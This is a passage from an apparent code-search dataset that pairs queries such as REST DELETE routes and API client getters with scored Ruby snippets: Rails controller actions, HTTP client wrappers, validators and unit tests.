text_values_match?(term[Place::TERM_DISPLAY_NAME.name], element_value(place_display_name_input index), errors)\n text_values_match?(term[Place::TERM_NAME.name], element_value(place_term_name_input index), errors)\n text_values_match?(term[Place::TERM_QUALIFIER.name], element_value(place_term_qualifier_input index), errors)\n text_values_match?(term[Place::TERM_STATUS.name], element_value(place_term_status_input index), errors)\n text_values_match?(term[Place::PLACE_TYPE.name], element_value(place_term_type_input index), errors)\n text_values_match?(term[Place::TERM_FLAG.name], element_value(place_term_flag_input index), errors)\n text_values_match?(term[Place::TERM_CURRENT_STATUS.name], element_value(place_term_current_status_input index), errors)\n text_values_match?(term[Place::TERM_LANGUAGE.name], element_value(place_term_language_input index), errors)\n # TODO - element does not indicate its state # text_values_match?(term[CorePlaceData::TERM_PREF_FOR_LANGUAGE.name], element_value(org_term_pref_for_lang_input index), errors)\n text_values_match?(term[Place::TERM_ABBREVIATION.name], element_value(place_term_abbreviation_input index), errors)\n text_values_match?(term[Place::TERM_NOTE.name], element_value(place_term_note_input index), errors)\n text_values_match?(term[Place::TERM_DATE.name], element_value(place_term_date_input index), errors)\n text_values_match?(term[Place::TERM_SOURCE.name], element_value(place_term_source_name_input index), errors)\n text_values_match?(term[Place::TERM_SOURCE_DETAIL.name], element_value(place_term_source_detail_input index), errors)\n text_values_match?(term[Place::TERM_SOURCE_ID.name], element_value(place_term_source_id_input index), errors)\n text_values_match?(term[Place::TERM_SOURCE_NOTE.name], element_value(place_term_source_note_input index), errors)\n end\n errors\n end", "title": "" }, { "docid": "b010eb788ccce06f499892746ce1b789", "score": "0.49227765", "text": "def vacation_request_date_errors(date, date_factory = Date)\n errors = []\n unless date >= date_factory.today + vacation_request_min_days_advance\n errors << \"must be at least #{vacation_request_min_days_advance} days from now\"\n end\n unless vacation_request_max_days_advance == 0 ||\n date <= date_factory.today + vacation_request_max_days_advance\n errors << \"may be at most #{vacation_request_max_days_advance} days from now\"\n end\n \n errors\n end", "title": "" }, { "docid": "64f1dd5f2c791114304c0828d007f79d", "score": "0.4920919", "text": "def test_validator_implementations_success\n [\n Validators::AgeValidator.call(age: 20),\n Validators::LambdaAgeValidator.call(age:20),\n Validators::UserValidator.call(name: \"Berra\", email: \"berra@email.com\"),\n Validators::UserValidator.call(name: \"Berra\", email: \"berra@email.com\", age: 40),\n Validators::UserValidator.call(name: \"Berra\", email: \"berra@email.com\", address: { street_address: \"Downtown 1\" }),\n ].each do |result|\n assert result.success?\n assert_empty result.errors\n end\n\n [\n [Validators::AgeValidator.call(age: 17), [{age: \"Must be over 18\"}]],\n [Validators::LambdaAgeValidator.call(age: 17), [{age: \"Must be over 18\"}]],\n [Validators::UserValidator.call(name: \"Berra\", email: \"berra[at]email.com\"), [{email: \"Incorrect format\"}]],\n [Validators::UserValidator.call(name: \"Berra\", email: \"berra[at]email.com\", age: 17), [{age: \"Must be over 18\"}, {email: \"Incorrect format\"}]],\n [Validators::UserValidator.call(name: 1, email: \"berra[at]email.com\", address: nil, age: -100), [{ name: \"Must be a String\" }, { age: \"Must be over 18\" }, { email: \"Incorrect format\" }]],\n ].each do |result, expected_errors|\n refute result.success?\n refute_empty result.errors\n\n expected_errors.each_with_index do |e, i|\n assert_equal e, result.errors[i]\n end\n end\n end", "title": "" }, { "docid": "7ea2200e8568f65c003eaf06332c0aae", "score": "0.49208412", "text": "def test_the_weekdays_population_complete\n boolean = (@begin.nb_monday.length > 0 )&&(@begin.sb_monday.length > 0 )&&(@begin.nb_tuesday.length > 0 )&&(@begin.sb_tuesday.length > 0 )&&(@begin.nb_wednesday.length > 0 )&&(@begin.sb_wednesday.length > 0 )&&(@begin.nb_thursday.length > 0 )&&(@begin.sb_thursday.length > 0 )&&(@begin.nb_friday.length > 0 )&&(@begin.sb_friday.length > 0)\n assert_equal true, boolean\n end", "title": "" } ]
200fa8ef07aa9a866fb564fbc0d72c09
DELETE /removes/1 DELETE /removes/1.json
[ { "docid": "35ad3cfef4ca01711087fbc581eb722f", "score": "0.6747728", "text": "def destroy\n @remove.destroy\n respond_to do |format|\n format.html { redirect_to removes_url, notice: 'Remove was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" } ]
[ { "docid": "822ddea2e45bf78350003645efcbdb54", "score": "0.6921869", "text": "def delete uri, args = {}; Request.new(DELETE, uri, args).execute; end", "title": "" }, { "docid": "c53a7ddfb5f66bdab62b1fc4305a0473", "score": "0.68940365", "text": "def delete *args\n make_request :delete, *args\n end", "title": "" }, { "docid": "77c742322d16bbccac07ab52cc2f42db", "score": "0.68", "text": "def delete\n # TODO\n end", "title": "" }, { "docid": "75a785bddc2252b3dfe08070dcb44399", "score": "0.67928445", "text": "def delete(args)\n if args[:json]\n post(args.merge(method: :delete))\n else\n get(args.merge(method: :delete))\n end\n end", "title": "" }, { "docid": "d934ffc625a0c64d8ff9a1065fabfbf1", "score": "0.67748183", "text": "def delete(*args); end", "title": "" }, { "docid": "d934ffc625a0c64d8ff9a1065fabfbf1", "score": "0.67748183", "text": "def delete(*args); end", "title": "" }, { "docid": "1754491406d5a18e76c7e760a6594787", "score": "0.6717742", "text": "def delete\n __debug_route\n @list = delete_records[:list]\n #manifest_item_authorize!(@list) # TODO: authorize :delete\n rescue => error\n failure_status(error)\n end", "title": "" }, { "docid": "b1a17c1ee1af05c79fe156622df44818", "score": "0.6710839", "text": "def delete(path)\n begin\n response = client[path].delete :accept => 'application/json'\n rescue Exception => e\n puts e.inspect\n end\n end", "title": "" }, { "docid": "b445c184893647d3482f8fbc6a507a52", "score": "0.66740894", "text": "def delete(path, params = {})\n path += '.json'\n res = @connection.delete(path, @header)\n parse_response(res)\n end", "title": "" }, { "docid": "89268a6ec13a5a681962b227c3d9fb42", "score": "0.66680104", "text": "def delete\n\n end", "title": "" }, { "docid": "89268a6ec13a5a681962b227c3d9fb42", "score": "0.66680104", "text": "def delete\n\n end", "title": "" }, { "docid": "89268a6ec13a5a681962b227c3d9fb42", "score": "0.66680104", "text": "def delete\n\n end", "title": "" }, { "docid": "89268a6ec13a5a681962b227c3d9fb42", "score": "0.66680104", "text": "def delete\n\n end", "title": "" }, { "docid": "2148e2fd9383c12872890f51efee3615", "score": "0.66611737", "text": "def delete\n begin\n task_id = \"#{@file}\".gsub(/\\.\\/singularity\\//, \"\").gsub(/\\.json/, \"\")\n # delete the request\n RestClient.delete \"#{@uri}/api/requests/request/#{task_id}\"\n puts \"#{task_id} DELETED\"\n rescue\n puts \"#{task_id} #{$!.response}\"\n end\n end", "title": "" }, { "docid": "36887f2b24d31f98fbb51687409e73f6", "score": "0.66367686", "text": "def delete; end", "title": "" }, { "docid": "36887f2b24d31f98fbb51687409e73f6", "score": "0.66367686", "text": "def delete; end", "title": "" }, { "docid": "36887f2b24d31f98fbb51687409e73f6", "score": "0.66367686", "text": "def delete; end", "title": "" }, { "docid": "36887f2b24d31f98fbb51687409e73f6", "score": "0.66367686", "text": "def delete; end", "title": "" }, { "docid": "36887f2b24d31f98fbb51687409e73f6", "score": "0.66367686", "text": "def delete; end", "title": "" }, { "docid": "36887f2b24d31f98fbb51687409e73f6", "score": "0.66367686", "text": "def delete; end", "title": "" }, { "docid": "36887f2b24d31f98fbb51687409e73f6", "score": "0.66367686", "text": "def delete; end", "title": "" }, { "docid": "2675aa0e2ced04fc9c7de6fc57be6a59", "score": "0.66355705", "text": "def delete(path)\r\n fetch(:path => path, :method => 'DELETE')\r\n end", "title": "" }, { "docid": "feb05fa712cede2232b7a79bf0cdeb56", "score": "0.66341895", "text": "def delete\n render json: Entry.delete(params[\"id\"])\n end", "title": "" }, { "docid": "a860d99cfb28f6db9530a66dbcd28e3c", "score": "0.6629492", "text": "def delete\n end", "title": "" }, { "docid": "a860d99cfb28f6db9530a66dbcd28e3c", "score": "0.6629492", "text": "def delete\n end", "title": "" }, { "docid": "a860d99cfb28f6db9530a66dbcd28e3c", "score": "0.6629492", "text": "def delete\n end", "title": "" }, { "docid": "a860d99cfb28f6db9530a66dbcd28e3c", "score": "0.6629492", "text": "def delete\n end", "title": "" }, { "docid": "a860d99cfb28f6db9530a66dbcd28e3c", "score": "0.6629492", "text": "def delete\n end", "title": "" }, { "docid": "a860d99cfb28f6db9530a66dbcd28e3c", "score": "0.6629492", "text": "def delete\n end", "title": "" }, { "docid": "a860d99cfb28f6db9530a66dbcd28e3c", "score": "0.6629492", "text": "def delete\n end", "title": "" }, { "docid": "a860d99cfb28f6db9530a66dbcd28e3c", "score": "0.6629492", "text": "def delete\n end", "title": "" }, { "docid": "a860d99cfb28f6db9530a66dbcd28e3c", "score": "0.6629492", "text": "def delete\n end", "title": "" }, { "docid": "a860d99cfb28f6db9530a66dbcd28e3c", "score": "0.6629492", "text": "def delete\n end", "title": "" }, { "docid": "a860d99cfb28f6db9530a66dbcd28e3c", "score": "0.6629492", "text": "def delete\n end", "title": "" }, { "docid": "a860d99cfb28f6db9530a66dbcd28e3c", "score": "0.6629492", "text": "def delete\n end", "title": "" }, { "docid": "a860d99cfb28f6db9530a66dbcd28e3c", "score": "0.6629492", "text": "def delete\n end", "title": "" }, { "docid": "2f0df61f9fb4ef9b10bea9b7f0160b0b", "score": "0.6616463", "text": "def delete\n end", "title": "" }, { "docid": "2f0df61f9fb4ef9b10bea9b7f0160b0b", "score": "0.6616463", "text": "def delete\n end", "title": "" }, { "docid": "4100b1ba27a9a751bb11d54b45e1aeb1", "score": "0.65887374", "text": "def delete(path);end", "title": "" }, { "docid": "4100b1ba27a9a751bb11d54b45e1aeb1", "score": "0.65887374", "text": "def delete(path);end", "title": "" }, { "docid": "0b24cbc6495df3923ea7679acbcd8deb", "score": "0.6579234", "text": "def delete_floor_plan(args = {}) \n delete(\"/files.json/floorplan/images\", args)\nend", "title": "" }, { "docid": "b965aa2e76649b84623ed925811f4794", "score": "0.6563514", "text": "def delete(_path)\n end", "title": "" }, { "docid": "20c97a81d0efb0e6df28dd6a6855f2db", "score": "0.6519368", "text": "def delete(*a) route 'DELETE', *a end", "title": "" }, { "docid": "fdfa5f023a5b91de7150a7231284ceb6", "score": "0.6506756", "text": "def delete(name)\n validate_path_elements(name)\n\n client.request(\n method: :delete,\n path: name,\n expected: 204\n )\n end", "title": "" }, { "docid": "d496e8714709f1e014ad13f7504c98c9", "score": "0.6506012", "text": "def delete(item); end", "title": "" }, { "docid": "d496e8714709f1e014ad13f7504c98c9", "score": "0.6506012", "text": "def delete(item); end", "title": "" }, { "docid": "9084f8afe8d8613bfc02bd02de56e723", "score": "0.6487639", "text": "def delete *paths\n @actions[:delete].concat paths\n end", "title": "" }, { "docid": "045d637d57ef73d144cab34aa71a6ec0", "score": "0.64870214", "text": "def delete(item)\n end", "title": "" }, { "docid": "e5923f1766e42d07e3f75ebb93303399", "score": "0.64851236", "text": "def delete *paths\n @actions << [:delete, paths]\n end", "title": "" }, { "docid": "efd4aeb9e0819adabc1e0283a8f4cb17", "score": "0.6483857", "text": "def destroy\n id_removed = @todo.id\n @todo.destroy\n render json: {id: id_removed}, status: 200\n end", "title": "" }, { "docid": "db759fd35b037f18b7347c9f4d9f3ce0", "score": "0.64812005", "text": "def delete(id); end", "title": "" }, { "docid": "57b799133d29316426c358002043baa2", "score": "0.64811784", "text": "def delete_rest(path, headers={}) \n run_request(:DELETE, create_url(path), headers) \n end", "title": "" }, { "docid": "9c1aaa40ddc5ea48205b40e716fa4b2a", "score": "0.6473812", "text": "def delete(arg0, arg1, *rest)\n end", "title": "" }, { "docid": "00c29eadfb84b1d9efae9747bd3868c2", "score": "0.6473186", "text": "def destroy\n @add = Add.find(params[:id])\n @add.destroy\n\n respond_to do |format|\n format.html { redirect_to adds_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "773e5d611adeb09776f9c841e1b876cc", "score": "0.64700556", "text": "def delete_json(path, params = {}, headers = {})\n json_request(:delete, path, params, headers)\n end", "title": "" }, { "docid": "47a3c9c28e1fcd0fcae5ea58416b42bd", "score": "0.6460566", "text": "def delete(path)\n api :delete, path\n end", "title": "" }, { "docid": "90f847dab529f49ad188450f3122cf37", "score": "0.6458115", "text": "def delete\n # peace and quiet\n end", "title": "" }, { "docid": "419097c1c4a142adaf725a2112822e8e", "score": "0.64563084", "text": "def delete\n request_method('DELETE')\n end", "title": "" }, { "docid": "769304fbb4730ef96173d3c20bedde80", "score": "0.64559597", "text": "def delete(name); end", "title": "" }, { "docid": "be697fdc58fe614a546c11643d16e1ba", "score": "0.64505327", "text": "def delete(*args)\n execute(:delete, *args)\n end", "title": "" }, { "docid": "d110b0274dfc7b1752c3427682cb5539", "score": "0.6449298", "text": "def delete(path, **args)\n process(:delete, path, **args)\n end", "title": "" }, { "docid": "4c5bb7dea8f3dd1e57c2948dc7ba878f", "score": "0.64491504", "text": "def posts_delete!(parameters)\n posts(\"delete\", parameters)\n end", "title": "" }, { "docid": "3633e737644dae5f5d8d49f3248f7a12", "score": "0.6448083", "text": "def delete\n api(\"Delete\")\n end", "title": "" }, { "docid": "dc7978b571fa1af94fbce826dcf38dc1", "score": "0.6445812", "text": "def destroy; delete end", "title": "" }, { "docid": "5667899392332c789774e8412085431e", "score": "0.64275396", "text": "def delete_by_id id\n delete :id => id\n end", "title": "" }, { "docid": "85731848a0e037564c3713a67c422435", "score": "0.6414646", "text": "def delete\n #TODO\n end", "title": "" }, { "docid": "c5c08b68a791ae109217722b1c07e87d", "score": "0.6409116", "text": "def destroy\n @delete = Delete.find(params[:id])\n @delete.destroy\n\n respond_to do |format|\n format.html { redirect_to deletes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "57b7eeabb589f414ca5fe5a20a5cf2fe", "score": "0.6407273", "text": "def remove\n elem = \"entry\" << params[:id]\n entry = JournalEntry.find(params[:id])\n entry.destroy\n\n render :json => {:ok => true}\n end", "title": "" }, { "docid": "5df0f46057bf97b13d699284b6fe55d4", "score": "0.64071393", "text": "def delete\n status 404\n nil\n end", "title": "" }, { "docid": "f2f44bf6dd24c630c050257e6a3a0a9c", "score": "0.63999635", "text": "def destroy\n fetch_by_id\n singular.destroy\n head :no_content\n end", "title": "" }, { "docid": "1c677cfe2b03f28b058371f93dccd006", "score": "0.6395433", "text": "def delete(*args)\n ids = args.flatten.collect{|a| a.is_a?(Hash) ? a[FMPID] : a.to_s }\n ids.collect do |id|\n #puts \"Would delete #{id}, but instead will just find\\n\"\n #get_results(:find, id)\n get_results(:delete, id).first\n end\n end", "title": "" }, { "docid": "606ca6421f51328db405314ea9ab0010", "score": "0.63819414", "text": "def destroy\n @uniform_item.destroy\n respond_to do |format|\n format.html { redirect_to uniform_items_url, notice: (t 'uniform_items.title')+(t 'actions.removed') }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "874ca519ae7e7d5fef3cdf7e9ddfebd5", "score": "0.6376558", "text": "def delete(action, **args); end", "title": "" }, { "docid": "0287a20a01fefe25c7c1660d6db75a32", "score": "0.63728535", "text": "def delete\n __log_activity\n __debug_route\n return redirect_to action: :delete_select if identifier.blank?\n @list = wf_single(rec: :unset, data: identifier, event: :remove)\n #upload_authorize!(@list) # TODO: authorize :delete\n rescue => error\n error_response(error)\n end", "title": "" }, { "docid": "00c90bc63b0302afbbc4b2979ae20b57", "score": "0.6365575", "text": "def api_delete(path, data = {})\n api_request(:delete, path, :data => data).parsed\n end", "title": "" }, { "docid": "3ccd2fbecbaa95071b33c865c59c07fc", "score": "0.63623345", "text": "def delete(*args)\n RubyKong::Request::Api.delete args[0]\n end", "title": "" }, { "docid": "d3c373c42468e623306081d6adc131c6", "score": "0.6361664", "text": "def test_trying_to_delete_non_item\n r = delete \"/groceries\", name: \"not a thing\"\n assert_equal 404, r.status\n end", "title": "" }, { "docid": "6a19ba99f0d1f7225b5ed73fe068136d", "score": "0.63602275", "text": "def delete(path, params: {}, headers: {})\n request_json :delete, path, params, headers\n end", "title": "" }, { "docid": "aab40e915a983b19a00c602b76a1ae9a", "score": "0.63416773", "text": "def delete\n RestClient.delete \"#{@uri}/api/requests/request/#{@data['requestId']||@data['id']}\"\n puts ' Deleted request: '.red + \"#{@data['requestId']||@data['id']}\".light_blue\n end", "title": "" }, { "docid": "f980177937a8bc2da13355e3395f5c2d", "score": "0.6334345", "text": "def destroy\n # delete a specific thing\n end", "title": "" }, { "docid": "7452c4d15daf08108aaa5a1b728adb31", "score": "0.6334143", "text": "def destroy\n @json.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "9106867cee9e8775ba817195d3bc2020", "score": "0.6325278", "text": "def delete_rest(path) \n run_request(:DELETE, create_url(path)) \n end", "title": "" }, { "docid": "c0e04e7b24575da23f7965e8dad6e32c", "score": "0.63242066", "text": "def delete(path, params = {})\n request(:delete, path, params)\n end", "title": "" }, { "docid": "eb17bb60f85d952738360f55504fbf9e", "score": "0.6323514", "text": "def delete(path, opts = {})\n request(:delete, path, opts)\n end", "title": "" }, { "docid": "b6d1cccb1ded60a52678c6972581d687", "score": "0.6321941", "text": "def delete!(opts = {})\n response = delete(opts)\n response.wait(opts)\n end", "title": "" }, { "docid": "42ee2ffb129512894e79a15598cd0dde", "score": "0.63203084", "text": "def destroy\n @addrobj = Addrobj.find(params[:id])\n @addrobj.destroy\n\n respond_to do |format|\n format.html { redirect_to addrobjs_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "48079a2a0e81f5b230cbcab10eeec67e", "score": "0.6314755", "text": "def del\n @status1 = Status1.find(params[:id])\n @status1.destroy\n\n respond_to do |format|\n format.html { redirect_to(status1s_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "3fa818c92f4c568e1735bcceb5817535", "score": "0.63088197", "text": "def delete(id)\n @client.delete(\"/#{@model}/#{id}\")\n end", "title": "" }, { "docid": "3fa818c92f4c568e1735bcceb5817535", "score": "0.63088197", "text": "def delete(id)\n @client.delete(\"/#{@model}/#{id}\")\n end", "title": "" }, { "docid": "7ca7e8ba9bdfdf617b6cbfda6d8cca1d", "score": "0.6308655", "text": "def delete\n ruta = \"/actions/#{id}\"\n client.delete(ruta)\n end", "title": "" }, { "docid": "1691790ee2ee34cc8e6be6f7bb8d7f8d", "score": "0.6307282", "text": "def delete\n client.delete uri\n end", "title": "" }, { "docid": "1691790ee2ee34cc8e6be6f7bb8d7f8d", "score": "0.6307282", "text": "def delete\n client.delete uri\n end", "title": "" }, { "docid": "6c537b3a0008ef6459c518123cbcc9d5", "score": "0.6301966", "text": "def delete(path, params = {})\n request :delete, path, params\n end", "title": "" }, { "docid": "174b723f9e43bfa7501a9cdc389e4c1b", "score": "0.6300814", "text": "def delete\n @response = self.class.delete(\"#{@server_uri}/resource_name/#{@opts[:id]}.json\")\n end", "title": "" }, { "docid": "ba67ebd85114998e01be10599c8943ca", "score": "0.6300552", "text": "def delete(path)\n RestClient.delete request_base+path\n end", "title": "" }, { "docid": "4d38ce98ee6d4ace9d7329979e2ab718", "score": "0.6298654", "text": "def delete_command(args)\n id = args.pop\n \n return if !global_parameters_load(args)\n\n begin\n doc = Vuzit::Document.destroy(id)\n puts \"DELETED: #{id}\"\n rescue Vuzit::ClientException => ex\n error \"Error occurred: #{ex.code}, #{ex.message}\" \n end\nend", "title": "" }, { "docid": "39fdf3a426d231fcc65376a89e0e8af5", "score": "0.629697", "text": "def remove\n destroy\n end", "title": "" }, { "docid": "37e8a03533248b4dcf3aafcdfaf96e3d", "score": "0.62894493", "text": "def delete(path, params={})\n perform(:delete, path, params)\n end", "title": "" }, { "docid": "60d292b463e4cdecbdd0782cc8e44467", "score": "0.62872154", "text": "def delete\n destroy\n end", "title": "" }, { "docid": "60d292b463e4cdecbdd0782cc8e44467", "score": "0.62872154", "text": "def delete\n destroy\n end", "title": "" } ]
7671ef8d4f3b96366f98e100a7c32d1d
gets a smartcar API service/client
[ { "docid": "1a802c55ceaca1c1a7176a1cd52c2254", "score": "0.0", "text": "def service\n @service ||= Faraday.new(url: SITE, request: { timeout: REQUEST_TIMEOUT })\n end", "title": "" } ]
[ { "docid": "605e27c13847e687e6be0e3ea2056c5c", "score": "0.6824094", "text": "def api_client\n Api::Client.new\n end", "title": "" }, { "docid": "bc35be31612e746b534492ecd10a3de1", "score": "0.66803235", "text": "def get\n service_response = ClientManagement::GetClientInfo.new(params).perform\n\n return render_api_response(service_response)\n end", "title": "" }, { "docid": "bf2e7caf9df9e258678a0773de8a7705", "score": "0.66690713", "text": "def client_get(device, api_url, *args)\n @config = SwaggerClient::Configuration.new(device)\n rest_url = @config.base_url + api_url\n auth_header = get_auth_header(device)\n\n response = RestClient.get rest_url, { :Authorization => \"#{auth_header}\", accept: :json }\n parsed_response = JSON.parse(response)\n\n if response.code == 200\n return parsed_response\n else\n Puppet.debug(self.class.to_s.split(\"::\").last + \": Error in GET operation for \" + rest_url) \n end\n\n return parsed_response\n end", "title": "" }, { "docid": "0545a3214bae2d0ee2552b1c21ae5e9a", "score": "0.6662628", "text": "def client\n @client ||= CLIENT.new(@api_token)\n end", "title": "" }, { "docid": "0af0678cfa91afcc2109f7c652ef7186", "score": "0.6649878", "text": "def api_client\n @api_client ||= initialize_api_client\n end", "title": "" }, { "docid": "0af0678cfa91afcc2109f7c652ef7186", "score": "0.6649878", "text": "def api_client\n @api_client ||= initialize_api_client\n end", "title": "" }, { "docid": "027052d386dc27ae20f00e2e523f5d2c", "score": "0.65776974", "text": "def fetch_client\n @client = Client.get_client_for_api_key_from_memcache(@api_key)\n end", "title": "" }, { "docid": "7b4b0238dc140911f522fb58c70e2476", "score": "0.65749425", "text": "def client\n @client ||=\n begin\n options = {\n endpoint: endpoint,\n ssl_verify_mode: :none,\n wsdl: wsdl,\n namespaces: NAMESPACES\n }\n\n if Metaforce.log?\n options.merge!(log: true)\n end\n\n if Metaforce.configuration.pretty_print\n options.merge!(pretty_print_xml: true)\n end\n\n if proxy = Metaforce.configuration.proxy\n options.merge!(proxy: proxy)\n end\n\n Savon.client(options).tap do |c|\n c.globals.soap_header soap_headers\n end\n end\n @client\n end", "title": "" }, { "docid": "d78265d654c72e91aff2da1bdf761bfe", "score": "0.6571554", "text": "def client\n @client = SageoneSdk::Client.new unless defined?(@client)\n @client\n end", "title": "" }, { "docid": "1b9f19b323771dfb04a1c5eb68284ff6", "score": "0.65546024", "text": "def client\r\n @client ||= APIController.new config\r\n end", "title": "" }, { "docid": "b65984cc0c5c0de9952b305c7ce9d1b5", "score": "0.6534121", "text": "def client\n @client ||= Curl::Easy.new\n end", "title": "" }, { "docid": "f4fab19b947de4a6c6bc909eb09f28a9", "score": "0.6525803", "text": "def client\n @client||=Zoolah::Client.new( ZoolahToken.consumer.key,ZoolahToken.consumer.secret,MY_SERVICE_SETTINGS)\n end", "title": "" }, { "docid": "8520f5ee97b5ce672b3aa9b347988ee3", "score": "0.65003645", "text": "def client\n client = sdk_client\n client.configure_http_client(:proxy => @cloudtools.proxy.to_hash, :timeout => @cloudtools.timeout.to_hash)\n client\n end", "title": "" }, { "docid": "caa6355a4ff88e49966d72ddb55088eb", "score": "0.64801127", "text": "def client\n @client ||= Echo::Client.client_for_environment(retrieval.environment, Rails.configuration.services)\n end", "title": "" }, { "docid": "68487ee3025287d505c18a63de065ce6", "score": "0.64695287", "text": "def get_client (client_id = nil, opts={})\n query_param_keys = [:client_id]\n headerParams = {}\n\n \n \n # set default values and merge with input\n options = {\n :'client_id' => client_id\n \n }.merge(opts)\n\n #resource path\n path = \"/get-client.json\".sub('{format}','json')\n \n # pull querystring keys from options\n queryopts = options.select do |key,value|\n query_param_keys.include? key\n end\n\n # header parameters\n headers = {}\n\n _header_accept = 'application/json'\n if _header_accept != ''\n headerParams['Accept'] = _header_accept\n end \n _header_content_type = ['application/x-www-form-urlencoded']\n headerParams['Content-Type'] = _header_content_type.length > 0 ? _header_content_type[0] : 'application/json'\n\n \n \n headers[:'Authorization'] = @api_key_secret\n\n # http body (model)\n post_body = nil\n \n # form parameters\n form_parameter_hash = {}\n \n \n \n Swagger::Request.new(:GET, path, {:params=>queryopts,:headers=>headers, :body=>post_body, :form_params => form_parameter_hash }).make\n \n \n end", "title": "" }, { "docid": "e2bd148e8c61c6c2ff2fba200869bca3", "score": "0.6423648", "text": "def client\n @@client ||= Savon::Client.new do\n wsdl.document = TaxCloud::WSDL_URL\n end\n end", "title": "" }, { "docid": "f2dfe30518bbdf1b47525ac64b5804b7", "score": "0.64201254", "text": "def client\r\n Savon::Client.new @options[:service_url]\r\n end", "title": "" }, { "docid": "16d952c55598dc0935e05ef363836618", "score": "0.64195895", "text": "def api\n RestClient::Resource.new(@delicious[:api],\n @delicious[:username],\n @delicious[:password])\n end", "title": "" }, { "docid": "a6d3c7b4b5f0419477a06f4f948c6790", "score": "0.64052117", "text": "def get_service(service = nil)\n log.debug \"Requesting #{api_service_url(service_name(service))} \" \\\n \"as user #{api_user}\"\n response = RestClient::Request.execute(\n method: :get,\n url: api_service_url(service_name(service)),\n user: api_user,\n password: generate_token,\n headers: {\n user_agent: RestClient::Platform.default_user_agent.prepend(\n \"confidant-client/#{Confidant::VERSION} \"\n )\n }\n )\n\n JSON.parse(response.body)\n rescue StandardError => ex\n Confidant.log_exception(self, ex)\n @suppress_errors ? api_error_response : raise\n end", "title": "" }, { "docid": "3c69f57c0e525a20ed7cd05c49f0372d", "score": "0.6404786", "text": "def service\n @service ||= Bark::Service.new @client\n end", "title": "" }, { "docid": "32f00983937466dfa89d306b19ee9bdb", "score": "0.6404048", "text": "def client\n check_configuration!\n @client ||= Softlayer::Client.new(\"SoftLayer_Account\")\n end", "title": "" }, { "docid": "2964310e47c419bc7b11cdb12e79571e", "score": "0.6388433", "text": "def get_api_client\n case @kind\n when \"gitlab\"\n @api_client ||= ::Gitlab.client(@options_for_kind)\n when \"github\"\n @api_client ||= Octokit::Client.new(@options_for_kind)\n end\n end", "title": "" }, { "docid": "dd0d99d8b3a8e4f97a80abd8eebe27f2", "score": "0.63867766", "text": "def get_client\n Google::APIClient.new(\n application_name: 'SaneBox Interview',\n application_version: '0.0.1' )\n end", "title": "" }, { "docid": "2763dbff199289c40dd0e7eec105a862", "score": "0.6370134", "text": "def client\n check_configuration!\n @client ||= TaxCloud::Client.new\n end", "title": "" }, { "docid": "2f4e7628681e0af60dfae36e93610551", "score": "0.63473415", "text": "def get_services()\n exec_get(\"#{@base_path}/api/v2/customers/services.json?api_key=#{@api_key}\")\n end", "title": "" }, { "docid": "b9fc5ee843e8993c0b85bf69d2815fdc", "score": "0.6335367", "text": "def get_services()\n exec_get(\"#{@base_path}/api/v2/vendors/services.json?api_key=#{@api_key}\")\n end", "title": "" }, { "docid": "234de0d92efc961922b9fd2e8e4a38e7", "score": "0.63239956", "text": "def generate_client\n options = GoCardless::Enterprise.custom_options(options)\n uri = URI.parse('https://api-sandbox.gocardless.com/')\n uri.user = self.api_id.gsub('@', '%40')\n uri.password = self.api_key\n client = Atum::Core::Client.client_from_schema(GoCardless::Enterprise::SCHEMA, uri.to_s, options)\n GoCardless::Enterprise::Client.new(client)\n end", "title": "" }, { "docid": "7023e7188b03edebffb8d5f48c46d0e5", "score": "0.63092774", "text": "def sdk_client\n IbmCloudResourceController::ResourceControllerV2.new(:authenticator => @cloudtools.authenticator)\n end", "title": "" }, { "docid": "0ad68efed217cdfe440b84e9204c8eab", "score": "0.6308425", "text": "def api_client\n nil\n end", "title": "" }, { "docid": "d9ffddc07d3acf4e95b0d2f136a14767", "score": "0.6300705", "text": "def api_client\n @api_client ||= Classmate::Api::Client.new(session_key, session_secret_key)\n end", "title": "" }, { "docid": "393f43206872663502a1f694a2b4814b", "score": "0.6298296", "text": "def api_client\n @api_client ||= Kontakt::Api::Client.new(access_token)\n end", "title": "" }, { "docid": "631a56b1c0de24116fc70b198a5f9803", "score": "0.62967795", "text": "def api_client\n @api_client ||= Redcap::ApiClient.new(self)\n end", "title": "" }, { "docid": "4cbab44b39dd34eab427d903898a8dc0", "score": "0.62768036", "text": "def client\n @client = Contentful::Client.new(\n space: Rails.application.credentials.space,\n access_token: Rails.application.credentials.access_token\n )\n end", "title": "" }, { "docid": "53ed160f297b530a7911a3b3ac12671a", "score": "0.6274813", "text": "def api\n @api ||= ::Core::Api::ClientWrapper.new(misty_client, self)\n end", "title": "" }, { "docid": "62f696f7baaec7ddcefd46e16bc7b137", "score": "0.62658656", "text": "def rest_client c \n RestClient::Resource.new(c[:url], :user => c[:user], :password => c[:password], :headers => c[:headers])\n end", "title": "" }, { "docid": "2c3050bfe348deb8871711f78406e489", "score": "0.624976", "text": "def client_service\n @client_service ||= ClientService.find_by(id: params[:id])\n end", "title": "" }, { "docid": "6f4d8d62bb0ce012ebb15f2ec8f211c5", "score": "0.62414265", "text": "def client\n @client ||= client_for_host(brine_root_url)\n end", "title": "" }, { "docid": "6f4d8d62bb0ce012ebb15f2ec8f211c5", "score": "0.62414265", "text": "def client\n @client ||= client_for_host(brine_root_url)\n end", "title": "" }, { "docid": "0130c1fe7687dfabefbb7395752f79d0", "score": "0.6224942", "text": "def client\n ::Dnsimple::Client.new(\n base_url: config[:endpoint],\n access_token: config[:api_token]\n )\n end", "title": "" }, { "docid": "f83a62b1995baa388861d4fc731932af", "score": "0.6224655", "text": "def client\n @client ||= prepare_client\n end", "title": "" }, { "docid": "a30e333d9d35e29980fd8f3df56038fc", "score": "0.62227947", "text": "def client\n @client ||= Contentful::Client.new(\n access_token: access_token,\n space: space_id,\n dynamic_entries: :auto,\n raise_errors: true\n )\n end", "title": "" }, { "docid": "410ca0efe37d1ae94af42381affbcebf", "score": "0.62201357", "text": "def get_api_client\n case @kind\n when \"gitlab\"\n ::Gitlab.client(@options)\n end\n end", "title": "" }, { "docid": "759d3dd91e119247c8729a9b9544d266", "score": "0.6207006", "text": "def get_service_account\n client = Boxr::Client.new\n end", "title": "" 